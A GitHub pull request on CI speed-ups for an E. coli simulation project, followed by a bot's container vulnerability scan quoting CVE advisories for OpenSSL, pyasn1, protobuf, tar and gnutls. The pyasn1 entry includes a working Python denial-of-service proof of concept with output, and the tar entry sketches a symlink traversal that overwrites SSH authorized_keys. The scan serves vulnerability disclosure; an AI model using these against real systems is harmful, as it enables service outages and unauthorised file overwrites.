GitHub Actions Optimizations

[thalassemia]

This PR configures the longest GitHub Actions tests (reproducibility and two generations workflow) to only run if the PR is labelled with the new long ci label. Here is an Actions run before I added the label to this PR. Here is an Actions run after I added the label to the PR.

The only other long-running test is pytest, which spends more than half its runtime running the ParCa. To alleviate this, I added a GitHub Actions step which caches the pickles generated by the ParCa and uses the hash of all *.py and *.tsv files in reconstruction/ecoli as keys for the cache. If those files have not changed, the *.cPickle files are simply restored from the cache, skipping the ParCa and saving a lot of time for non-ParCa PRs. Compare the runtime of pytest when I first implemented the cache to when I got a cache hit.

One additional area for optimization (in a separate PR, if someone wants to take that on) is pruning/reworking the slowest tests. I have always had pytest report the test durations at the end with --duration (can view here). These are the slowest tests:

============================== slowest durations ===============================
69.60s call     ecoli/processes/antibiotics/test_cell_wall.py::test_cell_wall
53.12s call     ecoli/analysis/single/blame.py::test_blame
25.23s call     ecoli/processes/antibiotics/test_cell_wall_division.py::test_cell_wall_division
18.42s call     ecoli/composites/ecoli_master_tests.py::test_division
16.87s call     ecoli/composites/ecoli_master_tests.py::test_division_topology
15.35s call     ecoli/library/test_parquet_emitter.py::TestParquetEmitter::test_initialization
13.25s call     ecoli/experiments/ecoli_master_sim_tests.py::test_load_state
11.15s call     ecoli/experiments/metabolism_redux_sim.py::test_ecoli_with_metabolism_redux_div
10.29s call     ecoli/analysis/single/blame.py::test_blame_timeseries
10.01s call     ecoli/experiments/ecoli_engine_process.py::test_run_simulation
8.56s call     ecoli/processes/chromosome_structure.py::test_superhelical_removal_sim
8.18s call     ecoli/processes/metabolism.py::test_metabolism_listener
7.22s call     ecoli/processes/equilibrium.py::test_equilibrium_listener
7.15s call     ecoli/processes/tf_binding.py::test_tf_binding_listener
7.12s call     ecoli/processes/listeners/RNA_counts.py::test_rna_counts_listener
7.08s call     ecoli/processes/listeners/monomer_counts.py::test_monomer_counts_listener
6.82s call     ecoli/composites/ecoli_master_tests.py::test_lattice_lysis
6.61s call     ecoli/experiments/antibiotics_tests.py::test_lysis_rxn_dff_environment
6.20s call     ecoli/experiments/metabolism_redux_sim.py::test_ecoli_with_metabolism_redux
5.94s call     ecoli/experiments/ecoli_master_sim_tests.py::testAddProcess
5.31s call     ecoli/experiments/antibiotics_tests.py::test_antibiotics_tetracycline
5.30s call     ecoli/experiments/metabolism_redux_sim.py::test_ecoli_with_metabolism_classic
5.27s call     ecoli/experiments/ecoli_master_sim_tests.py::testExcludeProcess

It's worth noting that the next slowest tests are a collection of 32 tests that I added in #373 which run short 2 second sims with all possible combinations of 5 boolean flags related to translation. Each one of those tests takes about 5 seconds, so they add ~2.5 minutes altogether. They were helpful in catching the bugs that I fixed in #373, but we could consider turning them off for normal PRs.

It is also possible to parallelize pytest with pytest-xdist. I remember encountering weird issues when I tried using it in vEcoli years ago, but it's worth trying again now (separate PR I'll leave to someone else). Importantly, the base Linux runners for private repos only have 2 cores (vs 4 for public repos), so the speedup wouldn't be that significant. We could pay per minute for larger runners, but the minutes included in our plan (for which there is no per-minute charge) can only be used on the base runners.

Other changes:

• Updated all actions used in our GitHub Actions workflows to their latest versions.
• Fixed a bug I accidentally introduced in Fix repeated Parquet emitter finalizations when running with save times #372. Replacing the finally with a bare except without re-raising the exception silenced legitimate simulation errors.
• Added pre-commit to optional dependencies for docs. Before, installing the doc dependencies with uv sync --extra docs to work on the docs would break git commit because pre-commit was no longer installed. The pre-commit Ruff linter deserves more thorough documentation. Later, I can create a separate draft PR describing pre-commit and laying out some barebones development guidelines, including how to set up commit signing. I'll leave filling out the details to others as we decide what those guidelines should be.

[github-actions]

🔍 Vulnerabilities of vecoli:latest

📦 Image Reference vecoli:latest

digest	sha256:f79ad488e1518f17bc9a278bf300bd293346e99b0f7ff3d498c3a0f7d77702ea
vulnerabilities
platform	linux/amd64
size	774 MB
packages	350

📦 Base Image debian:13-slim

also known as	13.2-slim trixie-20251117-slim trixie-slim
digest	sha256:905f0e07e40013bfedf13f38f00e1897b40b51d7ca7cedc01f2d2b7ec8a814eb
vulnerabilities

openssl 3.5.4-1~deb13u1 (deb) pkg:deb/debian/openssl@3.5.4-1~deb13u1?os_distro=trixie&os_name=debian&os_version=13 Affected range <3.5.4-1~deb13u2 Fixed version 3.5.4-1~deb13u2 Description Issue summary: A type confusion vulnerability exists in the TimeStamp Response verification code where an ASN1_TYPE union member is accessed without first validating the type, causing an invalid or NULL pointer dereference when processing a malformed TimeStamp Response file. Impact summary: An application calling TS_RESP_verify_response() with a malformed TimeStamp Response can be caused to dereference an invalid or NULL pointer when reading, resulting in a Denial of Service. The functions ossl_ess_get_signing_cert() and ossl_ess_get_signing_cert_v2() access the signing cert attribute value without validating its type. When the type is not V_ASN1_SEQUENCE, this results in accessing invalid memory through the ASN1_TYPE union, causing a crash. Exploiting this vulnerability requires an attacker to provide a malformed TimeStamp Response to an application that verifies timestamp responses. The TimeStamp protocol (RFC 3161) is not widely used and the impact of the exploit is just a Denial of Service. For these reasons the issue was assessed as Low severity. The FIPS modules in 3.5, 3.4, 3.3 and 3.0 are not affected by this issue, as the TimeStamp Response implementation is outside the OpenSSL FIPS module boundary. OpenSSL 3.6, 3.5, 3.4, 3.3, 3.0 and 1.1.1 are vulnerable to this issue. OpenSSL 1.0.2 is not affected by this issue. openssl 3.5.5-1 https://openssl-library.org/news/secadv/20260127.txt Fixed by: openssl/openssl@564fd9c (openssl-3.5.5) Fixed by: openssl/openssl@4e254b4 (openssl-3.0.19) Affected range <3.5.4-1~deb13u2 Fixed version 3.5.4-1~deb13u2 Description Issue summary: A type confusion vulnerability exists in the signature verification of signed PKCS#7 data where an ASN1_TYPE union member is accessed without first validating the type, causing an invalid or NULL pointer dereference when processing malformed PKCS#7 data. Impact summary: An application performing signature verification of PKCS#7 data or calling directly the PKCS7_digest_from_attributes() function can be caused to dereference an invalid or NULL pointer when reading, resulting in a Denial of Service. The function PKCS7_digest_from_attributes() accesses the message digest attribute value without validating its type. When the type is not V_ASN1_OCTET_STRING, this results in accessing invalid memory through the ASN1_TYPE union, causing a crash. Exploiting this vulnerability requires an attacker to provide a malformed signed PKCS#7 to an application that verifies it. The impact of the exploit is just a Denial of Service, the PKCS7 API is legacy and applications should be using the CMS API instead. For these reasons the issue was assessed as Low severity. The FIPS modules in 3.5, 3.4, 3.3 and 3.0 are not affected by this issue, as the PKCS#7 parsing implementation is outside the OpenSSL FIPS module boundary. OpenSSL 3.6, 3.5, 3.4, 3.3, 3.0, 1.1.1 and 1.0.2 are vulnerable to this issue. openssl 3.5.5-1 https://openssl-library.org/news/secadv/20260127.txt Fixed by: openssl/openssl@2502e7b (openssl-3.5.5) Fixed by: openssl/openssl@572844b (openssl-3.0.19) Affected range <3.5.4-1~deb13u2 Fixed version 3.5.4-1~deb13u2 Description Issue summary: A TLS 1.3 connection using certificate compression can be forced to allocate a large buffer before decompression without checking against the configured certificate size limit. Impact summary: An attacker can cause per-connection memory allocations of up to approximately 22 MiB and extra CPU work, potentially leading to service degradation or resource exhaustion (Denial of Service). In affected configurations, the peer-supplied uncompressed certificate length from a CompressedCertificate message is used to grow a heap buffer prior to decompression. This length is not bounded by the max_cert_list setting, which otherwise constrains certificate message sizes. An attacker can exploit this to cause large per-connection allocations followed by handshake failure. No memory corruption or information disclosure occurs. This issue only affects builds where TLS 1.3 certificate compression is compiled in (i.e., not OPENSSL_NO_COMP_ALG) and at least one compression algorithm (brotli, zlib, or zstd) is available, and where the compression extension is negotiated. Both clients receiving a server CompressedCertificate and servers in mutual TLS scenarios receiving a client CompressedCertificate are affected. Servers that do not request client certificates are not vulnerable to client-initiated attacks. Users can mitigate this issue by setting SSL_OP_NO_RX_CERTIFICATE_COMPRESSION to disable receiving compressed certificates. The FIPS modules in 3.6, 3.5, 3.4 and 3.3 are not affected by this issue, as the TLS implementation is outside the OpenSSL FIPS module boundary. OpenSSL 3.6, 3.5, 3.4 and 3.3 are vulnerable to this issue. OpenSSL 3.0, 1.1.1 and 1.0.2 are not affected by this issue. openssl 3.5.5-1 [trixie] - openssl 3.5.4-1~deb13u2 [bookworm] - openssl (Vulnerable code introduced later) [bullseye] - openssl (Vulnerable code introduced later) https://openssl-library.org/news/secadv/20260127.txt Fixed by: openssl/openssl@895150b (openssl-3.5.5) Affected range <3.5.4-1~deb13u2 Fixed version 3.5.4-1~deb13u2 Description Issue summary: The 'openssl dgst' command-line tool silently truncates input data to 16MB when using one-shot signing algorithms and reports success instead of an error. Impact summary: A user signing or verifying files larger than 16MB with one-shot algorithms (such as Ed25519, Ed448, or ML-DSA) may believe the entire file is authenticated while trailing data beyond 16MB remains unauthenticated. When the 'openssl dgst' command is used with algorithms that only support one-shot signing (Ed25519, Ed448, ML-DSA-44, ML-DSA-65, ML-DSA-87), the input is buffered with a 16MB limit. If the input exceeds this limit, the tool silently truncates to the first 16MB and continues without signaling an error, contrary to what the documentation states. This creates an integrity gap where trailing bytes can be modified without detection if both signing and verification are performed using the same affected codepath. The issue affects only the command-line tool behavior. Verifiers that process the full message using library APIs will reject the signature, so the risk primarily affects workflows that both sign and verify with the affected 'openssl dgst' command. Streaming digest algorithms for 'openssl dgst' and library users are unaffected. The FIPS modules in 3.5 and 3.6 are not affected by this issue, as the command-line tools are outside the OpenSSL FIPS module boundary. OpenSSL 3.5 and 3.6 are vulnerable to this issue. OpenSSL 3.4, 3.3, 3.0, 1.1.1 and 1.0.2 are not affected by this issue. openssl 3.5.5-1 [trixie] - openssl 3.5.4-1~deb13u2 [bookworm] - openssl (Vulnerable code introduced later) [bullseye] - openssl (Vulnerable code introduced later) https://openssl-library.org/news/secadv/20260127.txt Fixed by: openssl/openssl@a7936fa (openssl-3.5.5) Affected range <3.5.4-1~deb13u2 Fixed version 3.5.4-1~deb13u2 Description Issue summary: If an application using the SSL_CIPHER_find() function in a QUIC protocol client or server receives an unknown cipher suite from the peer, a NULL dereference occurs. Impact summary: A NULL pointer dereference leads to abnormal termination of the running process causing Denial of Service. Some applications call SSL_CIPHER_find() from the client_hello_cb callback on the cipher ID received from the peer. If this is done with an SSL object implementing the QUIC protocol, NULL pointer dereference will happen if the examined cipher ID is unknown or unsupported. As it is not very common to call this function in applications using the QUIC protocol and the worst outcome is Denial of Service, the issue was assessed as Low severity. The vulnerable code was introduced in the 3.2 version with the addition of the QUIC protocol support. The FIPS modules in 3.6, 3.5, 3.4 and 3.3 are not affected by this issue, as the QUIC implementation is outside the OpenSSL FIPS module boundary. OpenSSL 3.6, 3.5, 3.4 and 3.3 are vulnerable to this issue. OpenSSL 3.0, 1.1.1 and 1.0.2 are not affected by this issue. openssl 3.5.5-1 [trixie] - openssl 3.5.4-1~deb13u2 [bookworm] - openssl (Vulnerable code introduced later) [bullseye] - openssl (Vulnerable code introduced later) https://openssl-library.org/news/secadv/20260127.txt Fixed by: openssl/openssl@1f08e54 (openssl-3.5.5) Affected range <3.5.4-1~deb13u2 Fixed version 3.5.4-1~deb13u2 Description Issue summary: Parsing CMS AuthEnvelopedData message with maliciously crafted AEAD parameters can trigger a stack buffer overflow. Impact summary: A stack buffer overflow may lead to a crash, causing Denial of Service, or potentially remote code execution. When parsing CMS AuthEnvelopedData structures that use AEAD ciphers such as AES-GCM, the IV (Initialization Vector) encoded in the ASN.1 parameters is copied into a fixed-size stack buffer without verifying that its length fits the destination. An attacker can supply a crafted CMS message with an oversized IV, causing a stack-based out-of-bounds write before any authentication or tag verification occurs. Applications and services that parse untrusted CMS or PKCS#7 content using AEAD ciphers (e.g., S/MIME AuthEnvelopedData with AES-GCM) are vulnerable. Because the overflow occurs prior to authentication, no valid key material is required to trigger it. While exploitability to remote code execution depends on platform and toolchain mitigations, the stack-based write primitive represents a severe risk. The FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this issue, as the CMS implementation is outside the OpenSSL FIPS module boundary. OpenSSL 3.6, 3.5, 3.4, 3.3 and 3.0 are vulnerable to this issue. OpenSSL 1.1.1 and 1.0.2 are not affected by this issue. openssl 3.5.5-1 [bullseye] - openssl (Vulnerable code introduced later) https://openssl-library.org/news/secadv/20260127.txt Fixed by: openssl/openssl@d0071a0 (openssl-3.5.5) Fixed by: openssl/openssl@9f6338e (openssl-3.5.5) Test: openssl/openssl@a114855 (openssl-3.5.5) Fixed by: openssl/openssl@ce39170 (openssl-3.0.19) Fixed by: openssl/openssl@cdccf8f (openssl-3.0.19) Test: openssl/openssl@e0666f7 (openssl-3.0.19) Affected range <3.5.4-1~deb13u2 Fixed version 3.5.4-1~deb13u2 Description Issue summary: PBMAC1 parameters in PKCS#12 files are missing validation which can trigger a stack-based buffer overflow, invalid pointer or NULL pointer dereference during MAC verification. Impact summary: The stack buffer overflow or NULL pointer dereference may cause a crash leading to Denial of Service for an application that parses untrusted PKCS#12 files. The buffer overflow may also potentially enable code execution depending on platform mitigations. When verifying a PKCS#12 file that uses PBMAC1 for the MAC, the PBKDF2 salt and keylength parameters from the file are used without validation. If the value of keylength exceeds the size of the fixed stack buffer used for the derived key (64 bytes), the key derivation will overflow the buffer. The overflow length is attacker-controlled. Also, if the salt parameter is not an OCTET STRING type this can lead to invalid or NULL pointer dereference. Exploiting this issue requires a user or application to process a maliciously crafted PKCS#12 file. It is uncommon to accept untrusted PKCS#12 files in applications as they are usually used to store private keys which are trusted by definition. For this reason the issue was assessed as Moderate severity. The FIPS modules in 3.6, 3.5 and 3.4 are not affected by this issue, as PKCS#12 processing is outside the OpenSSL FIPS module boundary. OpenSSL 3.6, 3.5 and 3.4 are vulnerable to this issue. OpenSSL 3.3, 3.0, 1.1.1 and 1.0.2 are not affected by this issue as they do not support PBMAC1 in PKCS#12. openssl 3.5.5-1 [trixie] - openssl 3.5.4-1~deb13u2 [bookworm] - openssl (Vulnerable code introduced later) [bullseye] - openssl (Vulnerable code introduced later) https://openssl-library.org/news/secadv/20260127.txt Fixed by: openssl/openssl@e1079bc (openssl-3.5.5) Testcases: openssl/openssl@4583982 (openssl-3.5.5) Testcases: openssl/openssl@c716aca (openssl-3.5.5) Affected range >=3.2.1-3 Fixed version Not Fixed EPSS Score 0.094% EPSS Percentile 27th percentile Description OpenSSL 0.9.8i on the Gaisler Research LEON3 SoC on the Xilinx Virtex-II Pro FPGA uses a Fixed Width Exponentiation (FWE) algorithm for certain signature calculations, and does not verify the signature before providing it to a caller, which makes it easier for physically proximate attackers to determine the private key via a modified supply voltage for the microprocessor, related to a "fault-based attack." http://www.eecs.umich.edu/~valeria/research/publications/DATE10RSA.pdf openssl/openssl#24540 Fault injection based attacks are not within OpenSSLs threat model according to the security policy: https://www.openssl.org/policies/general/security-policy.html Affected range <3.5.4-1~deb13u2 Fixed version 3.5.4-1~deb13u2 Description Issue summary: An invalid or NULL pointer dereference can happen in an application processing a malformed PKCS#12 file. Impact summary: An application processing a malformed PKCS#12 file can be caused to dereference an invalid or NULL pointer on memory read, resulting in a Denial of Service. A type confusion vulnerability exists in PKCS#12 parsing code where an ASN1_TYPE union member is accessed without first validating the type, causing an invalid pointer read. The location is constrained to a 1-byte address space, meaning any attempted pointer manipulation can only target addresses between 0x00 and 0xFF. This range corresponds to the zero page, which is unmapped on most modern operating systems and will reliably result in a crash, leading only to a Denial of Service. Exploiting this issue also requires a user or application to process a maliciously crafted PKCS#12 file. It is uncommon to accept untrusted PKCS#12 files in applications as they are usually used to store private keys which are trusted by definition. For these reasons, the issue was assessed as Low severity. The FIPS modules in 3.5, 3.4, 3.3 and 3.0 are not affected by this issue, as the PKCS12 implementation is outside the OpenSSL FIPS module boundary. OpenSSL 3.6, 3.5, 3.4, 3.3, 3.0 and 1.1.1 are vulnerable to this issue. OpenSSL 1.0.2 is not affected by this issue. openssl 3.5.5-1 https://openssl-library.org/news/secadv/20260127.txt Fixed by: openssl/openssl@2502e7b (openssl-3.5.5) Fixed by: openssl/openssl@572844b (openssl-3.0.19) Affected range <3.5.4-1~deb13u2 Fixed version 3.5.4-1~deb13u2 Description Issue summary: Processing a malformed PKCS#12 file can trigger a NULL pointer dereference in the PKCS12_item_decrypt_d2i_ex() function. Impact summary: A NULL pointer dereference can trigger a crash which leads to Denial of Service for an application processing PKCS#12 files. The PKCS12_item_decrypt_d2i_ex() function does not check whether the oct parameter is NULL before dereferencing it. When called from PKCS12_unpack_p7encdata() with a malformed PKCS#12 file, this parameter can be NULL, causing a crash. The vulnerability is limited to Denial of Service and cannot be escalated to achieve code execution or memory disclosure. Exploiting this issue requires an attacker to provide a malformed PKCS#12 file to an application that processes it. For that reason the issue was assessed as Low severity according to our Security Policy. The FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this issue, as the PKCS#12 implementation is outside the OpenSSL FIPS module boundary. OpenSSL 3.6, 3.5, 3.4, 3.3, 3.0, 1.1.1 and 1.0.2 are vulnerable to this issue. openssl 3.5.5-1 https://openssl-library.org/news/secadv/20260127.txt Fixed by: openssl/openssl@3524a29 (openssl-3.5.5) Fixed by: openssl/openssl@36ecb49 (openssl-3.0.19) Affected range <3.5.4-1~deb13u2 Fixed version 3.5.4-1~deb13u2 Description Issue summary: Calling PKCS12_get_friendlyname() function on a maliciously crafted PKCS#12 file with a BMPString (UTF-16BE) friendly name containing non-ASCII BMP code point can trigger a one byte write before the allocated buffer. Impact summary: The out-of-bounds write can cause a memory corruption which can have various consequences including a Denial of Service. The OPENSSL_uni2utf8() function performs a two-pass conversion of a PKCS#12 BMPString (UTF-16BE) to UTF-8. In the second pass, when emitting UTF-8 bytes, the helper function bmp_to_utf8() incorrectly forwards the remaining UTF-16 source byte count as the destination buffer capacity to UTF8_putc(). For BMP code points above U+07FF, UTF-8 requires three bytes, but the forwarded capacity can be just two bytes. UTF8_putc() then returns -1, and this negative value is added to the output length without validation, causing the length to become negative. The subsequent trailing NUL byte is then written at a negative offset, causing write outside of heap allocated buffer. The vulnerability is reachable via the public PKCS12_get_friendlyname() API when parsing attacker-controlled PKCS#12 files. While PKCS12_parse() uses a different code path that avoids this issue, PKCS12_get_friendlyname() directly invokes the vulnerable function. Exploitation requires an attacker to provide a malicious PKCS#12 file to be parsed by the application and the attacker can just trigger a one zero byte write before the allocated buffer. For that reason the issue was assessed as Low severity according to our Security Policy. The FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this issue, as the PKCS#12 implementation is outside the OpenSSL FIPS module boundary. OpenSSL 3.6, 3.5, 3.4, 3.3, 3.0 and 1.1.1 are vulnerable to this issue. OpenSSL 1.0.2 is not affected by this issue. openssl 3.5.5-1 https://openssl-library.org/news/secadv/20260127.txt Fixed by: openssl/openssl@ff62893 (openssl-3.5.5) Fixed by: openssl/openssl@41be0f2 (openssl-3.0.19) Affected range <3.5.4-1~deb13u2 Fixed version 3.5.4-1~deb13u2 Description Issue summary: When using the low-level OCB API directly with AES-NI or other hardware-accelerated code paths, inputs whose length is not a multiple of 16 bytes can leave the final partial block unencrypted and unauthenticated. Impact summary: The trailing 1-15 bytes of a message may be exposed in cleartext on encryption and are not covered by the authentication tag, allowing an attacker to read or tamper with those bytes without detection. The low-level OCB encrypt and decrypt routines in the hardware-accelerated stream path process full 16-byte blocks but do not advance the input/output pointers. The subsequent tail-handling code then operates on the original base pointers, effectively reprocessing the beginning of the buffer while leaving the actual trailing bytes unprocessed. The authentication checksum also excludes the true tail bytes. However, typical OpenSSL consumers using EVP are not affected because the higher-level EVP and provider OCB implementations split inputs so that full blocks and trailing partial blocks are processed in separate calls, avoiding the problematic code path. Additionally, TLS does not use OCB ciphersuites. The vulnerability only affects applications that call the low-level CRYPTO_ocb128_encrypt() or CRYPTO_ocb128_decrypt() functions directly with non-block-aligned lengths in a single call on hardware-accelerated builds. For these reasons the issue was assessed as Low severity. The FIPS modules in 3.6, 3.5, 3.4, 3.3, 3.2, 3.1 and 3.0 are not affected by this issue, as OCB mode is not a FIPS-approved algorithm. OpenSSL 3.6, 3.5, 3.4, 3.3, 3.0 and 1.1.1 are vulnerable to this issue. OpenSSL 1.0.2 is not affected by this issue. openssl 3.5.5-1 https://openssl-library.org/news/secadv/20260127.txt Fixed by: openssl/openssl@4016975 (openssl-3.5.5) Fixed by: openssl/openssl@52d23c8 (openssl-3.0.19) Affected range <3.5.4-1~deb13u2 Fixed version 3.5.4-1~deb13u2 Description Issue summary: Writing large, newline-free data into a BIO chain using the line-buffering filter where the next BIO performs short writes can trigger a heap-based out-of-bounds write. Impact summary: This out-of-bounds write can cause memory corruption which typically results in a crash, leading to Denial of Service for an application. The line-buffering BIO filter (BIO_f_linebuffer) is not used by default in TLS/SSL data paths. In OpenSSL command-line applications, it is typically only pushed onto stdout/stderr on VMS systems. Third-party applications that explicitly use this filter with a BIO chain that can short-write and that write large, newline-free data influenced by an attacker would be affected. However, the circumstances where this could happen are unlikely to be under attacker control, and BIO_f_linebuffer is unlikely to be handling non-curated data controlled by an attacker. For that reason the issue was assessed as Low severity. The FIPS modules in 3.6, 3.5, 3.4, 3.3 and 3.0 are not affected by this issue, as the BIO implementation is outside the OpenSSL FIPS module boundary. OpenSSL 3.6, 3.5, 3.4, 3.3, 3.0, 1.1.1 and 1.0.2 are vulnerable to this issue. openssl 3.5.5-1 https://openssl-library.org/news/secadv/20260127.txt Fixed by: openssl/openssl@6845c3b (openssl-3.5.5) Fixed by: openssl/openssl@475c466 (openssl-3.0.19)

pyasn1 0.6.1 (pypi) pkg:pypi/pyasn1@0.6.1 Uncontrolled Resource Consumption Affected range =0.6.1 Fixed version 0.6.2 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H EPSS Score 0.050% EPSS Percentile 15th percentile Description Summary After reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets. Details The integer issue can be found in the decoder as reloid += ((subId << 7) + nextSubId,): https://github.com/pyasn1/pyasn1/blob/main/pyasn1/codec/ber/decoder.py#L496 PoC For the DoS: import pyasn1.codec.ber.decoder as decoder import pyasn1.type.univ as univ import sys import resource # Deliberately set memory limit to display PoC try: resource.setrlimit(resource.RLIMIT_AS, (100*1024*1024, 100*1024*1024)) print("[*] Memory limit set to 100MB") except: print("[-] Could not set memory limit") # Test with different payload sizes to find the DoS threshold payload_size_mb = int(sys.argv[1]) print(f"[*] Testing with {payload_size_mb}MB payload...") payload_size = payload_size_mb * 1024 * 1024 # Create payload with continuation octets # Each 0x81 byte indicates continuation, causing bit shifting in decoder payload = b'\x81' * payload_size + b'\x00' length = len(payload) # DER length encoding (supports up to 4GB) if length < 128: length_bytes = bytes([length]) elif length < 256: length_bytes = b'\x81' + length.to_bytes(1, 'big') elif length < 256**2: length_bytes = b'\x82' + length.to_bytes(2, 'big') elif length < 256**3: length_bytes = b'\x83' + length.to_bytes(3, 'big') else: # 4 bytes can handle up to 4GB length_bytes = b'\x84' + length.to_bytes(4, 'big') # Use OID (0x06) for more aggressive parsing malicious_packet = b'\x06' + length_bytes + payload print(f"[*] Packet size: {len(malicious_packet) / 1024 / 1024:.1f} MB") try: print("[*] Decoding (this may take time or exhaust memory)...") result = decoder.decode(malicious_packet, asn1Spec=univ.ObjectIdentifier()) print(f'[+] Decoded successfully') print(f'[!] Object size: {sys.getsizeof(result[0])} bytes') # Try to convert to string print('[*] Converting to string...') try: str_result = str(result[0]) print(f'[+] String succeeded: {len(str_result)} chars') if len(str_result) > 10000: print(f'[!] MEMORY EXPLOSION: {len(str_result)} character string!') except MemoryError: print(f'[-] MemoryError during string conversion!') except Exception as e: print(f'[-] {type(e).__name__} during string conversion') except MemoryError: print('[-] MemoryError: Out of memory!') except Exception as e: print(f'[-] Error: {type(e).__name__}: {e}') print("\n[*] Test completed") Screenshots with the results: DoS Leak analysis A potential heap leak was investigated but came back clean: [*] Creating 1000KB payload... [*] Decoding with pyasn1... [*] Materializing to string... [+] Decoded 2157784 characters [+] Binary representation: 896001 bytes [+] Dumped to heap_dump.bin [*] First 64 bytes (hex): 01020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081 [*] First 64 bytes (ASCII/hex dump): 0000: 01 02 04 08 10 20 40 81 02 04 08 10 20 40 81 02 ..... @..... @.. 0010: 04 08 10 20 40 81 02 04 08 10 20 40 81 02 04 08 ... @..... @.... 0020: 10 20 40 81 02 04 08 10 20 40 81 02 04 08 10 20 . @..... @..... 0030: 40 81 02 04 08 10 20 40 81 02 04 08 10 20 40 81 @..... @..... @. [*] Digit distribution analysis: '0': 10.1% '1': 9.9% '2': 10.0% '3': 9.9% '4': 9.9% '5': 10.0% '6': 10.0% '7': 10.0% '8': 9.9% '9': 10.1% Scenario An attacker creates a malicious X.509 certificate. The application validates certificates. The application accepts the malicious certificate and tries decoding resulting in the issues mentioned above. Impact This issue can affect resource consumption and hang systems or stop services. This may affect: LDAP servers TLS/SSL endpoints OCSP responders etc. Recommendation Add a limit to the allowed bytes in the decoder.

protobuf 6.31.1 (pypi) pkg:pypi/protobuf@6.31.1 Uncontrolled Recursion Affected range <=6.33.4 Fixed version Not Fixed CVSS Score 8.2 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:L EPSS Score 0.016% EPSS Percentile 3rd percentile Description A denial-of-service (DoS) vulnerability exists in google.protobuf.json_format.ParseDict() in Python, where the max_recursion_depth limit can be bypassed when parsing nested google.protobuf.Any messages. Due to missing recursion depth accounting inside the internal Any-handling logic, an attacker can supply deeply nested Any structures that bypass the intended recursion limit, eventually exhausting Python’s recursion stack and causing a RecursionError.

tar 1.35+dfsg-3.1 (deb) pkg:deb/debian/tar@1.35%2Bdfsg-3.1?os_distro=trixie&os_name=debian&os_version=13 Affected range >=1.35+dfsg-3.1 Fixed version Not Fixed EPSS Score 0.060% EPSS Percentile 19th percentile Description GNU Tar through 1.35 allows file overwrite via directory traversal in crafted TAR archives, with a certain two-step process. First, the victim must extract an archive that contains a ../ symlink to a critical directory. Second, the victim must extract an archive that contains a critical file, specified via a relative pathname that begins with the symlink name and ends with that critical file's name. Here, the extraction follows the symlink and overwrites the critical file. This bypasses the protection mechanism of "Member name contains '..'" that would occur for a single TAR archive that attempted to specify the critical file via a ../ approach. For example, the first archive can contain "x -> ../../../../../home/victim/.ssh" and the second archive can contain x/authorized_keys. This can affect server applications that automatically extract any number of user-supplied TAR archives, and were relying on the blocking of traversal. This can also affect software installation processes in which "tar xf" is run more than once (e.g., when installing a package can automatically install two dependencies that are set up as untrusted tarballs instead of official packages). Disputed tar issue, works as documented per upstream: https://lists.gnu.org/archive/html/bug-tar/2025-08/msg00012.html https://github.com/i900008/vulndb/blob/main/Gnu_tar_vuln.md Affected range <=1.35+dfsg-3.1 Fixed version Not Fixed EPSS Score 2.806% EPSS Percentile 86th percentile Description Tar 1.15.1 does not properly warn the user when extracting setuid or setgid files, which may allow local users or remote attackers to gain privileges. This is intended behaviour, after all tar is an archiving tool and you need to give -p as a command line flag tar (bug https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=328228; unimportant)

gnutls28 3.8.9-3 (deb) pkg:deb/debian/gnutls28@3.8.9-3?os_distro=trixie&os_name=debian&os_version=13 Affected range <3.8.9-3+deb13u1 Fixed version 3.8.9-3+deb13u1 EPSS Score 0.008% EPSS Percentile 1st percentile Description A flaw was found in the GnuTLS library, specifically in the gnutls_pkcs11_token_init() function that handles PKCS#11 token initialization. When a token label longer than expected is processed, the function writes past the end of a fixed-size stack buffer. This programming error can cause the application using GnuTLS to crash or, in certain conditions, be exploited for code execution. As a result, systems or applications relying on GnuTLS may be vulnerable to a denial of service or local privilege escalation attacks. [experimental] - gnutls28 3.8.11-1 gnutls28 3.8.11-3 (bug https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1121146) [trixie] - gnutls28 3.8.9-3+deb13u1 [bookworm] - gnutls28 (Minor issue) [bullseye] - gnutls28 (Minor issue; can be fixed in next update) https://www.gnutls.org/security-new.html#GNUTLS-SA-2025-11-18 https://gitlab.com/gnutls/gnutls/-/issues/1732 Fixed by: https://gitlab.com/gnutls/gnutls/-/commit/1d56f96f6ab5034d677136b9d50b5a75dff0faf5 (3.8.11) Affected range <=3.8.9-3+deb13u1 Fixed version Not Fixed EPSS Score 3.895% EPSS Percentile 88th percentile Description The SSL protocol, as used in certain configurations in Microsoft Windows and Microsoft Internet Explorer, Mozilla Firefox, Google Chrome, Opera, and other products, encrypts data by using CBC mode with chained initialization vectors, which allows man-in-the-middle attackers to obtain plaintext HTTP headers via a blockwise chosen-boundary attack (BCBA) on an HTTPS session, in conjunction with JavaScript code that uses (1) the HTML5 WebSocket API, (2) the Java URLConnection API, or (3) the Silverlight WebClient API, aka a "BEAST" attack. sun-java6 (bug https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=645881) [lenny] - sun-java6 (Non-free not supported) [squeeze] - sun-java6 (Non-free not supported) openjdk-6 6b23~pre11-1 openjdk-7 7~b147-2.0-1 iceweasel (Vulnerable code not present) http://blog.mozilla.com/security/2011/09/27/attack-against-tls-protected-communications/ chromium-browser 15.0.874.106~r107270-1 [squeeze] - chromium-browser lighttpd 1.4.30-1 strictly speaking this is no lighttpd issue, but lighttpd adds a workaround curl 7.24.0-1 http://curl.haxx.se/docs/adv_20120124B.html python2.6 2.6.8-0.1 (bug https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=684511) [squeeze] - python2.6 (Minor issue) python2.7 2.7.3~rc1-1 python3.1 (bug https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=678998) [squeeze] - python3.1 (Minor issue) python3.2 3.2.3~rc1-1 http://bugs.python.org/issue13885 python3.1 is fixed starting 3.1.5 cyassl gnutls26 (unimportant) gnutls28 (unimportant) No mitigation for gnutls, it is recommended to use 